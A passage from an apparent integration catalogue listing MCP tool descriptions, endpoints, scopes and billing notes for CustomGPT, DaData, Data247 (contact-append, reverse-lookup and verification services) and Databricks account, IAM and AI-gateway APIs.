information that helps manage your knowledge base. via PUT /api/v1/projects/{projectId}/pages/{pageId}/metadata PUT /api/v1/customgpt/api/v1/projects/{projectId}/pages/{pageId}/metadata. Scopes: api. customgpt_put_api_v1_projects_by_projectid_settings_persona_activate_by_version (write) — Activates a previous persona version, making it the current active persona. This creates a new version entry in the history (it doesn't overwrite), preserving the full audit trail. Use this to roll back to a known-good configuration. Warning: This doesn't delete newer versions - it creates a new entry based on the restored version. via PUT /api/v1/projects/{projectId}/settings/persona-activate/{version} PUT /api/v1/customgpt/api/v1/projects/{projectId}/settings/persona-activate/{version}. Scopes: api. customgpt_put_api_v1_projects_by_projectid_sources_by_sourceid (write) — Updates configuration for a data source, such as auto-sync frequency, crawl depth, or file filters. Use this to fine-tune how the source is indexed and kept up to date. via PUT /api/v1/projects/{projectId}/sources/{sourceId} PUT /api/v1/customgpt/api/v1/projects/{projectId}/sources/{sourceId}. Scopes: api. customgpt_put_api_v1_projects_by_projectid_sources_by_sourceid_instant_sync (write) — Triggers an immediate re-sync of a data source, refreshing all its documents with the latest content. Use this when you know the source has been updated and don't want to wait for the scheduled sync. Notes: Only available for sources that support syncing (sitemaps, integrations). Not available for file uploads. via PUT /api/v1/projects/{projectId}/sources/{sourceId}/instant-sync PUT /api/v1/customgpt/api/v1/projects/{projectId}/sources/{sourceId}/instant-sync. Scopes: api. customgpt_put_api_v1_projects_by_projectid_tasks_by_taskid (write) — Updates task metadata, such as the display name. Use this to rename tasks for easier organization and identification. The display name is the only mutable field exposed via the API. via PUT /api/v1/projects/{projectId}/tasks/{taskId} PUT /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}. Scopes: api. customgpt_put_api_v1_teams (write) — Updates the name of a team. Only the team owner or a member with the update permission can perform this action. via PUT /api/v1/teams PUT /api/v1/customgpt/api/v1/teams. Scopes: api. customgpt_put_api_v1_teams_members_by_userid (write) — Changes the role assigned to a team member. Only the team owner or a member with the appropriate permission can perform this action. via PUT /api/v1/teams/members/{userId} PUT /api/v1/customgpt/api/v1/teams/members/{userId}. Scopes: api. customgpt_put_api_v1_teams_roles_by_roleid (write) — Updates an existing custom role's name, description, and permissions. Only roles belonging to this team can be updated. via PUT /api/v1/teams/roles/{roleId} PUT /api/v1/customgpt/api/v1/teams/roles/{roleId}. Scopes: api. ================================================================================ ## DaData URL: https://www.agenticfabriq.com/integrations/dadata Section: Integrated Tools DaData — 22 MCP tools Provider key: dadata. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dadata_get_api_v2_profile_balance (read) — Read the connected DaData account's prepaid balance in rubles -- the balance the standardization tools spend. via GET /api/v2/profile/balance GET /api/v1/dadata/api/v2/profile/balance. Scopes: api. dadata_get_api_v2_stat_daily (read) — Read the connected DaData account's API usage for the current day: suggestions, standardization and merging request counts against their daily limits. via GET /api/v2/stat/daily GET /api/v1/dadata/api/v2/stat/daily. Scopes: api. dadata_get_api_v2_version (read) — Read the versions of the reference datasets DaData is currently serving (FIAS, EGRUL, banks and the rest) and the service versions behind them. via GET /api/v2/version GET /api/v1/dadata/api/v2/version. Scopes: api. dadata_post_api_4_1_rs_findaffiliated_party (read) — Find Russian companies affiliated with the queried INN through shared founders or managers (scope selects which relation is followed). via POST /api/4_1/rs/findAffiliated/party POST /api/v1/dadata/api/4_1/rs/findAffiliated/party. Scopes: api. dadata_post_api_4_1_rs_findbyemail_company (read) — Find Russian companies that list the queried email address in their public registry details. via POST /api/4_1/rs/findByEmail/company POST /api/v1/dadata/api/4_1/rs/findByEmail/company. Scopes: api. dadata_post_api_4_1_rs_findbyid_address (read) — Look up a Russian address by FIAS or KLADR identifier: returns the full structured address with codes and coordinates. via POST /api/4_1/rs/findById/address POST /api/v1/dadata/api/4_1/rs/findById/address. Scopes: api. dadata_post_api_4_1_rs_findbyid_bank (read) — Look up a Russian bank by exact BIC, SWIFT, INN or registration number: returns the bank's registry record with payment details. via POST /api/4_1/rs/findById/bank POST /api/v1/dadata/api/4_1/rs/findById/bank. Scopes: api. dadata_post_api_4_1_rs_findbyid_by_name (read) — Look up a record of a named DaData reference directory by its identifier (path names the directory). Russian reference data. via POST /api/4_1/rs/findById/{name} POST /api/v1/dadata/api/4_1/rs/findById/{name}. Scopes: api. dadata_post_api_4_1_rs_findbyid_fias (read) — Look up a Russian address in the FIAS registry by FIAS identifier: returns the full structured address record. via POST /api/4_1/rs/findById/fias POST /api/v1/dadata/api/4_1/rs/findById/fias. Scopes: api. dadata_post_api_4_1_rs_findbyid_party (read) — Look up a Russian company or sole proprietor by exact INN or OGRN: returns the registry record (name, status, addresses, management) for each matching branch. via POST /api/4_1/rs/findById/party POST /api/v1/dadata/api/4_1/rs/findById/party. Scopes: api. dadata_post_api_4_1_rs_geolocate_address (read) — Reverse geocoding: find the Russian addresses (down to individual buildings) nearest to a latitude/longitude point, ranked by distance. via POST /api/4_1/rs/geolocate/address POST /api/v1/dadata/api/4_1/rs/geolocate/address. Scopes: api. dadata_post_api_4_1_rs_geolocate_by_name (read) — Find the entries of a named DaData directory nearest to a latitude/longitude point (path names the directory). Russian reference data. via POST /api/4_1/rs/geolocate/{name} POST /api/v1/dadata/api/4_1/rs/geolocate/{name}. Scopes: api. dadata_post_api_4_1_rs_iplocate_address (read) — Resolve an IPv4 address to the Russian city it belongs to, with the city's full structured address. Omitting the ip argument resolves the caller's own address, which through this integration is the gateway's, so pass ip explicitly. via POST /api/4_1/rs/iplocate/address POST /api/v1/dadata/api/4_1/rs/iplocate/address. Scopes: api. dadata_post_api_4_1_rs_suggest_address (read) — Autocomplete Russian addresses from a free-form query: returns up to 20 ranked suggestions with structured components and FIAS/KLADR codes. Coverage is Russia only; queries are typically in Russian. via POST /api/4_1/rs/suggest/address POST /api/v1/dadata/api/4_1/rs/suggest/address. Scopes: api. dadata_post_api_4_1_rs_suggest_bank (read) — Find Russian banks and their branches by name, BIC, SWIFT, INN or registration number: returns ranked suggestions with payment details. via POST /api/4_1/rs/suggest/bank POST /api/v1/dadata/api/4_1/rs/suggest/bank. Scopes: api. dadata_post_api_4_1_rs_suggest_by_name (read) — Autocomplete over a named DaData reference directory (path names the directory, e.g. country, currency, okved2, fms_unit): returns ranked suggestions for a free-form query. Russian-language reference data. via POST /api/4_1/rs/suggest/{name} POST /api/v1/dadata/api/4_1/rs/suggest/{name}. Scopes: api. dadata_post_api_4_1_rs_suggest_email (read) — Autocomplete an email address as it is typed: completes the local part and popular mail domains. via POST /api/4_1/rs/suggest/email POST /api/v1/dadata/api/4_1/rs/suggest/email. Scopes: api. dadata_post_api_4_1_rs_suggest_fias (read) — Autocomplete Russian addresses against the FIAS state address registry: returns ranked suggestions with FIAS codes. Coverage is Russia only. via POST /api/4_1/rs/suggest/fias POST /api/v1/dadata/api/4_1/rs/suggest/fias. Scopes: api. dadata_post_api_4_1_rs_suggest_fio (read) — Autocomplete Russian personal names (surname, given name, patronymic): returns ranked FIO suggestions with gender and name-part breakdown. via POST /api/4_1/rs/suggest/fio POST /api/v1/dadata/api/4_1/rs/suggest/fio. Scopes: api. dadata_post_api_4_1_rs_suggest_party (read) — Find Russian companies and sole proprietors by name fragment, INN, OGRN or address: returns ranked suggestions with registry (EGRUL) details. Queries and results are Russian-centric. via POST /api/4_1/rs/suggest/party POST /api/v1/dadata/api/4_1/rs/suggest/party. Scopes: api. dadata_post_api_v1_clean (write) — Standardize records with several fields at once: `structure` names the column types and `data` carries the rows. Russian-centric data. PAID per record from the account's prepaid balance (~0.20 RUB each; 20 requests/second limit); on an unfunded account DaData answers with its payment-required error. via POST /api/v1/clean POST /api/v1/dadata/api/v1/clean. Scopes: api. dadata_post_api_v1_clean_by_type (write) — Standardize an array of raw strings of one declared type (path names it: NAME, ADDRESS, PHONE, EMAIL, BIRTHDATE, PASSPORT, VEHICLE, AS_IS, SIMPLE_PARTY_NAME): DaData cleans, normalizes and enriches each value. Russian-centric data. PAID per record from the account's prepaid balance (~0.20 RUB each; 20 requests/second limit); on an unfunded account DaData answers with its payment-required error. via POST /api/v1/clean/{type} POST /api/v1/dadata/api/v1/clean/{type}. Scopes: api. ================================================================================ ## Data247 URL: https://www.agenticfabriq.com/integrations/data247 Section: Integrated Tools Data247 — 19 MCP tools Provider key: data247. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. data247_get_v3_0_ae (append) — Append247 (Email): given a contact's name and postal address, return the email address associated with them, along with the address Data247 matched. Every argument is individually optional, but Data247 requires a COMBINATION: calling this with nothing answers `D247_MISSING_REQUIRED_PARAMS`. Its message usually names what it wanted (measured 2026-09-17 on Append247 (Phone): 'At least three parameters must be provided or (firstname + lastname), address or email'), though not always -- Append247 (Zipcode) answers the same status with an empty message. Supply as much of the contact as you have. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.015 a hit on the rate card measured 2026-09-17, and a miss is free (service code `AE`; your own account's card is the authority). GET /api/v1/data247/v3.0/AE. Scopes: api. data247_get_v3_0_aer (append) — Append247 (Reverse Email): given an email address, return the name and postal address associated with it, broken into components, plus any phone number on the record with its line type and telco name. (The published contract describes this operation with Append247 (Reverse Phone)'s sentence -- a copy-paste defect in the vendor's document; the input here is an email address, which is what the operation's own parameter table and response schema say.) BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.015 a hit on the rate card measured 2026-09-17, and a miss is free (service code `AER`; your own account's card is the authority). GET /api/v1/data247/v3.0/AER. Scopes: api. data247_get_v3_0_ag (append) — Append247 (Gender): given a first name, return the gender most often associated with it and the share of records that carry it. A name Data247 does not know answers `UNKNOWN` with a zero percentage rather than failing (measured 2026-09-17). BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.002 a hit on the rate card measured 2026-09-17, and a miss is free (service code `AG`; your own account's card is the authority). GET /api/v1/data247/v3.0/AG. Scopes: api. data247_get_v3_0_an (append) — Append247 (Name): given a phone number, return the name of the person behind it. A narrower answer than Append247 (Reverse Phone), which also returns the address. The published contract marks this tool's one argument optional; it is not in practice -- calling without it answers `D247_INVALID_PHONE` (measured 2026-09-17), because there is nothing to look up. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.004 a hit on the rate card measured 2026-09-17, and a miss is free (service code `AN`; your own account's card is the authority). GET /api/v1/data247/v3.0/AN. Scopes: api. data247_get_v3_0_ap (append) — Append247 (Phone): given a contact's name and postal address, return the phone number associated with them, along with the address Data247 matched and the line type. Every argument is individually optional, but Data247 requires a COMBINATION: calling this with nothing answers `D247_MISSING_REQUIRED_PARAMS`. Its message usually names what it wanted (measured 2026-09-17 on Append247 (Phone): 'At least three parameters must be provided or (firstname + lastname), address or email'), though not always -- Append247 (Zipcode) answers the same status with an empty message. Supply as much of the contact as you have. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.015 a hit on the rate card measured 2026-09-17, and a miss is free (service code `AP`; your own account's card is the authority). GET /api/v1/data247/v3.0/AP. Scopes: api. data247_get_v3_0_apr (append) — Append247 (Reverse Phone): given a phone number, return the name and postal address associated with it, plus the address type, whether it is a business line, a Do-Not-Call flag and an inferred gender with its confidence. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.015 a hit on the rate card measured 2026-09-17, and a miss is free (service code `APR`; your own account's card is the authority). GET /api/v1/data247/v3.0/APR. Scopes: api. data247_get_v3_0_ar (append) — Append247 (Profile Data): given a contact's name and postal address, return the additional attributes Data247 holds on them -- identity, demographic, household property, vehicle, phone and IP attributes. Every argument is individually optional, but Data247 requires a COMBINATION: calling this with nothing answers `D247_MISSING_REQUIRED_PARAMS`. Its message usually names what it wanted (measured 2026-09-17 on Append247 (Phone): 'At least three parameters must be provided or (firstname + lastname), address or email'), though not always -- Append247 (Zipcode) answers the same status with an empty message. Supply as much of the contact as you have. BILLING: the build account's rate card carried no price for this service because the account is not entitled to it; a customer's own rate card (Data247 Account -> API, service code `AR`) is the authority on what it costs them. REQUIRES THE PROFILE-DATA ENTITLEMENT ON YOUR DATA247 ACCOUNT. Measured 2026-09-17 on the build account: the rate card (GET /v3.0?api=QR) reports this service `enabled: false` with no rate, alongside `profile_access: false`. That is a plan entitlement rather than a permission on the key: calling it answers HTTP 200 with `D247_NOT_AUTHORIZED` and the message 'You are not authorized, contact support.' (measured 2026-09-17), which this integration reports as a 403. Ask Data247 to enable profile access rather than replacing the key. GET /api/v1/data247/v3.0/AR. Scopes: api. data247_get_v3_0_az (append) — Append247 (Zipcode): given a contact's name and address, return the 9-digit ZIP for it together with the parsed address components -- street number, pre- and post-directional, street, suffix, unit, city, state, ZIP and ZIP+4, plus county, FIPS code, congressional district, area code, timezone and delivery point barcode. NOTE: the published contract's response schema for this operation declares only `address`, `city` and `state`, which UNDERSTATES what the service returns -- measured 2026-09-17, a complete address answered with all nineteen fields including `zip` 20500 and `zip4` 0003. The schema is the vendor's, and it is wrong. Every argument is individually optional, but Data247 requires a COMBINATION: calling this with nothing answers `D247_MISSING_REQUIRED_PARAMS`. Its message usually names what it wanted (measured 2026-09-17 on Append247 (Phone): 'At least three parameters must be provided or (firstname + lastname), address or email'), though not always -- Append247 (Zipcode) answers the same status with an empty message. Supply as much of the contact as you have. BILLING: Data247 is PREPAID and charges for this service on EVERY request, whether or not it finds anything -- $0.003 per call on the rate card measured 2026-09-17 (service code `AZ`; your own account's card is the authority). GET /api/v1/data247/v3.0/AZ. Scopes: api. data247_get_v3_0_azr (append) — Append247 (Reverse Zipcode): given a 5-digit ZIP (optionally with its ZIP+4 add-on), return the formatted address components for that location -- street, city, state, county, FIPS code, congressional district, area code and timezone. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.003 a hit on the rate card measured 2026-09-17, and a miss is free (service code `AZR`; your own account's card is the authority). GET /api/v1/data247/v3.0/AZR. Scopes: api. data247_get_v3_0_ci (carrier) — Carrier247 (International): for a non-US phone number, return the carrier name and id, the country and its ISO-3166 alpha-2 code, and whether the number is wireless or a landline. BILLING: the build account's rate card carried no price for this service because the account is not entitled to it; a customer's own rate card (Data247 Account -> API, service code `CI`) is the authority on what it costs them. REQUIRES THE INTERNATIONAL ENTITLEMENT ON YOUR DATA247 ACCOUNT. Measured 2026-09-17 on the build account: the rate card (GET /v3.0?api=QR) reports this service `enabled: false` with no rate, alongside `international_access: false`. That is a plan entitlement rather than a permission on the key: calling it answers HTTP 200 with `D247_NOT_AUTHORIZED` and the message 'You are not authorized, contact support.' (measured 2026-09-17), which this integration reports as a 403. Ask Data247 to enable international access rather than replacing the key. GET /api/v1/data247/v3.0/CI. Scopes: api. data247_get_v3_0_ct (carrier) — Carrier247 (Carrier Type): the carrier TYPE only, for a US or Canadian phone number. A deliberately narrower answer than Carrier247 (USA) -- it covers Canada as well, and it does not require the account to subscribe to the CLNPC for port-corrected results. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.005 a hit on the rate card measured 2026-09-17, and a miss is free (service code `CT`; your own account's card is the authority). GET /api/v1/data247/v3.0/CT. Scopes: api. data247_get_v3_0_cu (carrier) — Carrier247 (USA): for a domestic US phone number, return the carrier name and id, whether the number is wireless, and its email-to-SMS and email-to-MMS gateway addresses. Port-corrected. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.005 a hit on the rate card measured 2026-09-17, and a miss is free (service code `CU`; your own account's card is the authority). GET /api/v1/data247/v3.0/CU. Scopes: api. data247_get_v3_0_dc (compliance) — Do-Not-Call (USA): report whether a phone number appears on the account's own internal DNC list or on the US Federal Do-Not-Call registry. Reaching the FEDERAL registry additionally requires the account holder to register with the FTC at https://telemarketing.donotcall.gov -- without that, this answers from the internal list only. BILLING: Data247 is PREPAID and charges for this service on EVERY request, whether or not it finds anything -- $0.002 per call on the rate card measured 2026-09-17 (service code `DC`; your own account's card is the authority). GET /api/v1/data247/v3.0/DC. Scopes: api. data247_get_v3_0_gi (location) — Locate247 (IP): return the geolocation Data247 holds for an IP address -- city, state, ZIP, country, latitude and longitude, area code, timezone and whether daylight saving applies. BILLING: Data247 is PREPAID and charges for this service on EVERY request, whether or not it finds anything -- $0.003 per call on the rate card measured 2026-09-17 (service code `GI`; your own account's card is the authority). GET /api/v1/data247/v3.0/GI. Scopes: api. data247_get_v3_0_mt (messaging) — Text@: for a wireless US phone number, return the carrier name and id, whether the number is wireless, and the email-to-SMS and email-to-MMS gateway addresses for it -- the addresses you send mail to in order to reach the handset as a text message. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.005 a hit on the rate card measured 2026-09-17, and a miss is free (service code `MT`; your own account's card is the authority). GET /api/v1/data247/v3.0/MT. Scopes: api. data247_get_v3_0_tpc (trust) — Trust247 (Phone Number): report whether a phone number appears on spam-caller lists, with a spam-risk score and the reason behind it. BILLING: Data247 is PREPAID and charges for this service on EVERY request, whether or not it finds anything -- $0.001 per call on the rate card measured 2026-09-17 (service code `TPC`; your own account's card is the authority). GET /api/v1/data247/v3.0/TPC. Scopes: api. data247_get_v3_0_va (verification) — Verify247 (Postal Address): check a US postal address and return it broken into its components -- street number, pre-directional, street, suffix, post-directional, unit, city, state, ZIP and ZIP+4 -- together with the delivery point barcode, county and FIPS code, congressional district, area code and timezone. BILLING: Data247 is PREPAID and charges for this service on EVERY request, whether or not it finds anything -- $0.005 per call on the rate card measured 2026-09-17 (service code `VA`; your own account's card is the authority). GET /api/v1/data247/v3.0/VA. Scopes: api. data247_get_v3_0_ve (verification) — Verify247 (Email): check that an email address is correctly formatted and that a working mailbox exists behind it. Returns a validity flag, the reason for the verdict, and whether the address is on a free consumer provider. BILLING: Data247 is PREPAID and charges for this service on EVERY request, whether or not it finds anything -- $0.003 per call on the rate card measured 2026-09-17 (service code `VE`; your own account's card is the authority). GET /api/v1/data247/v3.0/VE. Scopes: api. data247_get_v3_0_vp (verification) — Verify247 (Phone Number): check whether a phone number is currently active, with a confidence score for the verdict. BILLING: Data247 is PREPAID and charges for this service ONLY WHEN IT FINDS DATA -- $0.005 a hit on the rate card measured 2026-09-17, and a miss is free (service code `VP`; your own account's card is the authority). GET /api/v1/data247/v3.0/VP. Scopes: api. ================================================================================ ## Databricks URL: https://www.agenticfabriq.com/integrations/databricks Section: Integrated Tools Databricks — 1071 MCP tools Provider key: databricks. Scopes: account:read, account:write, apps:read, apps:write, catalog:read, catalog:write, cleanrooms:read, cleanrooms:write, compute:read, compute:write, database:read, database:write, files:read, files:write, iam:read, iam:write, jobs:read, jobs:write, marketplace:read, marketplace:write, ml:read, ml:write, settings:read, settings:write, sql:read, sql:write, workspace:read, workspace:write. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. databricks_access_control_check_policy (read) — Check access policy to a resource. GET /api/2.0/access-control/check-policy-v2 on Databricks. Requires actor, permission, resource, consistency_token, authz_identity. GET /api/v1/tools/databricks/access-control-check-policy. Scopes: iam:read. databricks_account_access_control_proxy_get_assignable_roles_for_resource (read) — Gets all the roles that can be granted on an account level resource. A role is grantable if the rule set on the resource can contain an access rule of the role. GET /api/v1/tools/databricks/account-access-control-proxy-get-assignable-roles-for-resource. Scopes: iam:read. databricks_account_access_control_proxy_get_rule_set (read) — Get a rule set by its name. A rule set is always attached to a resource and contains a list of access rules on the said resource. Currently only a default rule set for each resource is supported. GET /api/v1/tools/databricks/account-access-control-proxy-get-rule-set. Scopes: iam:read. databricks_account_iam_v2_create_account_access_identity_rule (write) — Creates a new account access identity rule for a given account. This allows administrators to explicitly allow or deny specific principals from accessing the account. POST /api/v1/tools/databricks/account-iam-v2-create-account-access-identity-rule. Scopes: iam:write. databricks_account_iam_v2_create_attribute_control_entry (write) — Creates (allows) an identity attribute control-list entry for an account. POST /api/v1/tools/databricks/account-iam-v2-create-attribute-control-entry. Scopes: iam:write. databricks_account_iam_v2_delete_account_access_identity_rule (write, destructive) — DESTRUCTIVE - Deletes an account access identity rule for a given principal. POST /api/v1/tools/databricks/account-iam-v2-delete-account-access-identity-rule. Scopes: iam:write. databricks_account_iam_v2_delete_attribute_control_entry (write, destructive) — DESTRUCTIVE - Deletes an identity attribute control-list entry. POST /api/v1/tools/databricks/account-iam-v2-delete-attribute-control-entry. Scopes: iam:write. databricks_account_iam_v2_get_account_access_identity_rule (read) — Gets an account access identity rule for a given principal. GET /api/v1/tools/databricks/account-iam-v2-get-account-access-identity-rule. Scopes: iam:read. databricks_account_iam_v2_get_attribute_control_entry (read) — Gets an identity attribute control-list entry. GET /api/v1/tools/databricks/account-iam-v2-get-attribute-control-entry. Scopes: iam:read. databricks_account_iam_v2_get_external_group (read) — Retrieves an external group with the given external ID from the customer's IdP. If the group does not exist, it will be created in the account. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error. GET /api/v1/tools/databricks/account-iam-v2-get-external-group. Scopes: iam:read. databricks_account_iam_v2_get_external_service_principal (read) — Retrieves an external service principal with the given external ID from the customer's IdP. If the service principal does not exist, it will be created. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error. GET /api/v1/tools/databricks/account-iam-v2-get-external-service-principal. Scopes: iam:read. databricks_account_iam_v2_get_external_user (read) — Retrieves an external user with the given external ID from the customer's IdP. If the user does not exist, it will be created. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error. GET /api/v1/tools/databricks/account-iam-v2-get-external-user. Scopes: iam:read. databricks_account_iam_v2_list_account_access_identity_rules (read) — Lists all account access identity rules for a given account. These rules control which principals (users, service principals, groups) from the customer's IdP are allowed or denied access to the Databricks account. GET /api/v1/tools/databricks/account-iam-v2-list-account-access-identity-rules. Scopes: iam:read. databricks_account_iam_v2_list_attribute_control_entries (read) — Lists the identity attribute control-list entries for an account. GET /api/v1/tools/databricks/account-iam-v2-list-attribute-control-entries. Scopes: iam:read. databricks_account_iam_v2_update_attribute_control_entry (write) — Updates an identity attribute control-list entry for an account. POST /api/v1/tools/databricks/account-iam-v2-update-attribute-control-entry. Scopes: iam:write. databricks_agent_bricks_cancel_optimize (write, destructive) — DESTRUCTIVE - Cancel a Custom LLM Optimization Run. POST /api/v1/tools/databricks/agent-bricks-cancel-optimize. Scopes: ml:write. databricks_agent_bricks_create_custom_llm (write) — Create a Custom LLM. POST /api/2.0/custom-llms on Databricks. Requires name, instructions. POST /api/v1/tools/databricks/agent-bricks-create-custom-llm. Scopes: ml:write. databricks_agent_bricks_delete_custom_llm (write, destructive) — DESTRUCTIVE — Delete a Custom LLM. DELETE /api/2.0/custom-llms/{id} on Databricks. Requires id. POST /api/v1/tools/databricks/agent-bricks-delete-custom-llm. Scopes: ml:write. databricks_agent_bricks_get_custom_llm (read) — Get a Custom LLM. GET /api/2.0/custom-llms/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/agent-bricks-get-custom-llm. Scopes: ml:read. databricks_agent_bricks_start_optimize (write) — Start a Custom LLM Optimization Run. POST /api/2.0/custom-llms/{id}/optimize on Databricks. Requires id. POST /api/v1/tools/databricks/agent-bricks-start-optimize. Scopes: ml:write. databricks_agent_bricks_update_custom_llm (write) — Update a Custom LLM. PATCH /api/2.0/custom-llms/{id} on Databricks. Requires id, custom_llm, update_mask. POST /api/v1/tools/databricks/agent-bricks-update-custom-llm. Scopes: ml:write. databricks_ai_gateway_create_agent_service (write) — Creates an agent service in a Unity Catalog schema. An agent service is a governed securable that registers an AI agent and exposes it for discovery, access control, and auditing. The caller supplies the leaf name in ``agent_service_id`` and the agent... POST /api/v1/tools/databricks/ai-gateway-create-agent-service. Scopes: catalog:write. databricks_ai_gateway_create_mcp_service (write) — Creates an MCP service in a Unity Catalog schema. An MCP (Model Context Protocol) service is a governed securable that registers an MCP server and exposes its tools for discovery, access control, and invocation. The caller supplies the leaf name in... POST /api/v1/tools/databricks/ai-gateway-create-mcp-service. Scopes: catalog:write. databricks_ai_gateway_create_model_provider_service (write) — Creates a model provider service in a Unity Catalog schema. A model provider service is a governed connection to an external model provider (for example OpenAI, Azure OpenAI, or Amazon Bedrock) that model services reference to invoke that provider. The... POST /api/v1/tools/databricks/ai-gateway-create-model-provider-service. Scopes: catalog:write. databricks_ai_gateway_create_model_service (write) — Creates a model service in a Unity Catalog schema. A model service is a governed AI Gateway endpoint that routes inference requests to one or more model destinations. The caller supplies the leaf name in ``model_service_id``. You must be the owner of the... POST /api/v1/tools/databricks/ai-gateway-create-model-service. Scopes: catalog:write. databricks_ai_gateway_delete_agent_service (write, destructive) — DESTRUCTIVE - Deletes the agent service identified by its resource name. Optionally supply an ``etag`` to make the delete conditional on the agent service not having changed since it was read. You must be the owner of the agent service or have ``MANAGE`` on... POST /api/v1/tools/databricks/ai-gateway-delete-agent-service. Scopes: catalog:write. databricks_ai_gateway_delete_mcp_service (write, destructive) — DESTRUCTIVE - Deletes the MCP service identified by its resource name. Optionally supply an ``etag`` to make the delete conditional on the MCP service not having changed since it was read. You must be the owner of the MCP service or have ``MANAGE`` on it... POST /api/v1/tools/databricks/ai-gateway-delete-mcp-service. Scopes: catalog:write. databricks_ai_gateway_delete_model_provider_service (write, destructive) — DESTRUCTIVE - Deletes the model provider service identified by its resource name. Optionally supply an ``etag`` to make the delete conditional on the model provider service not having changed since it was read. You must be the owner of the model provider... POST /api/v1/tools/databricks/ai-gateway-delete-model-provider-service. Scopes: catalog:write. databricks_ai_gateway_delete_model_service (write, destructive) — DESTRUCTIVE - Deletes the model service identified by its resource name. Optionally supply an ``etag`` to make the delete conditional on the model service not having changed since it was read. You must be the owner of the model service or have ``MANAGE`` on... POST /api/v1/tools/databricks/ai-gateway-delete-model-service. Scopes: catalog:write. databricks_ai_gateway_get_agent_service (read) — Returns the agent service identified by its resource name. You must be the owner of the agent service or have ``EXECUTE``, ``READ_METADATA``, or ``MANAGE`` on it, plus ``USE_CATALOG`` on the parent catalog and ``USE_SCHEMA`` on the parent schema. GET /api/v1/tools/databricks/ai-gateway-get-agent-service. Scopes: catalog:read. databricks_ai_gateway_get_mcp_service (read) — Returns the MCP service identified by its resource name. You must be the owner of the MCP service or have ``EXECUTE``, ``READ_METADATA``, or ``MANAGE`` on it, plus ``USE_CATALOG`` on the parent catalog and ``USE_SCHEMA`` on the parent schema. GET /api/v1/tools/databricks/ai-gateway-get-mcp-service. Scopes: catalog:read. databricks_ai_gateway_get_model_provider_service (read) — Returns the model provider service identified by its resource name. You must be the owner of the model provider service or have ``EXECUTE``, ``READ_METADATA``, or ``MANAGE`` on it, plus ``USE_CATALOG`` on the parent catalog and ``USE_SCHEMA`` on the parent... GET /api/v1/tools/databricks/ai-gateway-get-model-provider-service. Scopes: catalog:read. databricks_ai_gateway_get_model_service (read) — Returns the model service identified by its resource name. You must be the owner of the model service or have ``EXECUTE``, ``READ_METADATA``, or ``MANAGE`` on it, plus ``USE_CATALOG`` on the parent catalog and ``USE_SCHEMA`` on the parent schema. GET /api/v1/tools/databricks/ai-gateway-get-model-service. Scopes: catalog:read. databricks_ai_gateway_list_agent_services (read) — Lists the agent services in a Unity Catalog schema. Provide ``parent`` as ``schemas/{catalog}.{schema}``. Results are paginated; pass the returned ``next_page_token`` to fetch subsequent pages. Requires ``USE_CATALOG`` on the parent catalog and... GET /api/v1/tools/databricks/ai-gateway-list-agent-services. Scopes: catalog:read. databricks_ai_gateway_list_mcp_services (read) — Lists the MCP services in a Unity Catalog schema. Provide ``parent`` as ``schemas/{catalog}.{schema}``. Results are paginated; pass the returned ``next_page_token`` to fetch subsequent pages. Requires ``USE_CATALOG`` on the parent catalog and ``USE_SCHEMA``... GET /api/v1/tools/databricks/ai-gateway-list-mcp-services. Scopes: catalog:read. databricks_ai_gateway_list_model_provider_services (read) — Lists the model provider services in a Unity Catalog schema. Provide ``parent`` as ``schemas/{catalog}.{schema}``. Results are paginated; pass the returned ``next_page_token`` to fetch subsequent pages. Requires ``USE_CATALOG`` on the parent catalog and... GET /api/v1/tools/databricks/ai-gateway-list-model-provider-services. Scopes: catalog:read. databricks_ai_gateway_list_model_services (read) — Lists the model services in a Unity Catalog schema. Provide ``parent`` as ``schemas/{catalog}.{schema}``. Results are paginated; pass the returned ``next_page_token`` to fetch subsequent pages. Requires ``USE_CATALOG`` on the parent catalog and... GET /api/v1/tools/databricks/ai-gateway-list-model-services. Scopes: catalog:read. databricks_ai_gateway_update_agent_service (write) — Updates an agent service. Only the fields named in ``update_mask`` are changed; the resource name and agent service type are immutable. Optionally supply an 